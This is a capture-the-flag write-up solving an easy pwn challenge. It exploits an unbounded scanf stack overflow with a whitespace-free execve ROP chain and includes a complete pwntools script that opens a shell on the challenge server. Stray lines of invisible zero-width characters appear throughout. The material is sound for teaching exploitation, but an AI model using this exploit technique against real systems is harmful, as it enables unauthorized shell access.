← Back to Writeups
CUSTOMEasypwn

inspector the ONE

XESXOR9/2/20263 min read
#pwn#custom#easy#execve_rop_chain#libc_base_from_maps_leak#ret2libc#scanf_unbounded_overflow#whitespace_byte_avoidance#linux

inspector the ONE

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: execve_rop_chain, libc_base_from_maps_leak, ret2libc, scanf_unbounded_overflow, whitespace_byte_avoidance

Summary

Task: 64-bit NON-PIE ELF with an unbounded scanf("%s") stack overflow; startup dumps /proc/$PPID/maps leaking the libc base, ASLR is off. Solution: ret2libc, but call execve("/bin/sh",0,0) instead of system() because system's absolute address contains a 0x20 (space) byte that terminates scanf %s — pick gadget/string addresses with no whitespace bytes.

inspector the ONE — pwn_spbctf

Description

Инспектор, какой вы по счету? Спереди или с конца?

("Inspector, which number are you? From the front or from the end?")

A 64-bit x86-64 ELF (inspector.elf). Remote: nc 109.233.56.90 11672. Provided libc-2.31.so (Debian glibc 2.31-3). Get a shell and read the flag.

Protections: NON-PIE (base 0x400000), NX, Partial RELRO, NO stack canary.

Analysis

Three relevant functions:

  • show_memory() @ 0x401186 — runs at startup and executes system("cat /proc/$PPID/maps"), printing the process memory map. This leaks the libc base: parse the start of the first /libc-2.31.so mapping. ASLR is off on this service — the base is the constant 0x7ffff7de3000, verified identical across 3 connections.
  • help() @ 0x4011ab — a no-op.
  • main() @ 0x4011b8 — buf lives at rbp-0x40 (sub rsp, 0x40). After printf("What's your number, inspector?\n> ") it calls scanf("%s", buf) with no width → classic unbounded stack buffer overflow. Then strncmp(buf, "one", 3): if equal, it prints "Have a nice day, inspector %s gadget!\n" (the %s argument is fixed to buf, so this is just an echo — not a format-string bug), calls help(), then leave; ret. Otherwise puts("Wrong!"); exit(1). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

So the chain must begin with one\0 to pass strncmp(buf,"one",3) before reaching the overflow.

The key constraint (the title pun)

scanf("%s") stops only at whitespace bytes: 0x09 0x0a 0x0b 0x0c 0x0d 0x20. NUL is not a delimiter for %s, so a ROP chain containing null bytes is fine — but any address byte equal to a whitespace value truncates the read.

The title "inspector the ONE" and "from the front or from the end" hint at one_gadget, but the robust path avoids constraint-heavy gadgets. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Overflow → ret2libc. Offset to the saved return address: buf @ rbp-0x40, ret @ rbp+8 → 0x40 + 8 = 0x48.

Why not system("/bin/sh")? With the fixed base, system resolves to 0x7ffff7de3000 + 0x48f20 = 0x7ffff7e2bf20, whose first byte is 0x20 (space). scanf("%s") stops there, so the chain is truncated. (Gotcha: always check every chain byte against the whitespace set.)

Fix: call execve("/bin/sh", NULL, NULL) directly. execve resolves via a syscall (no movaps alignment crash, no one_gadget NULL-register constraints), and all the chosen gadget/string addresses at this fixed base contain no whitespace bytes: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

POP_RDI = base + 0x2679e   POP_RSI = base + 0x288df
POP_RDX = base + 0xcb28d   EXECVE  = base + 0xcb780
BINSH   = base + 0x18a156  RET     = 0x40101a (binary ret, 16-byte alignment)

Payload:

b'one\x00'.ljust(0x48, b'A') + flat(RET, POP_RDI, BINSH, POP_RSI, 0, POP_RDX, 0, EXECVE)

After the shell spawns (runs as uid=6(man)): cat /flag* → flag.

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
HOST, PORT = '109.233.56.90', 11672

# ASLR is OFF on this service -> libc base is fixed
BASE = 0x7ffff7de3000
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

POP_RDI = BASE + 0x2679e
POP_RSI = BASE + 0x288df
POP_RDX = BASE + 0xcb28d
EXECVE  = BASE + 0xcb780
BINSH   = BASE + 0x18a156
RET     = 0x40101a   # binary ret for 16-byte stack alignment

WS = {0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20}

def main():
    io = remote(HOST, PORT)
    io.recvuntil(b"What's your number")
    io.recvuntil(b'> ')

    # buf @ rbp-0x40, ret @ rbp+8 => offset 0x48
    chain = flat(RET, POP_RDI, BINSH, POP_RSI, 0, POP_RDX, 0, EXECVE)
    for c in chain:
        assert c not in WS, "whitespace byte %#x in chain" % c
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    payload = b'one\x00'.ljust(0x48, b'A') + chain
    io.sendline(payload)
    io.recvline()
    io.sendline(b'cat /flag* 2>/dev/null; cat flag* 2>/dev/null; id')
    # interactive() can drop the flag due to timing; sleep then recv
    sleep(1)
    print(io.recv(timeout=2).decode(errors='replace'))
    io.interactive()

if __name__ == '__main__':
    main()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍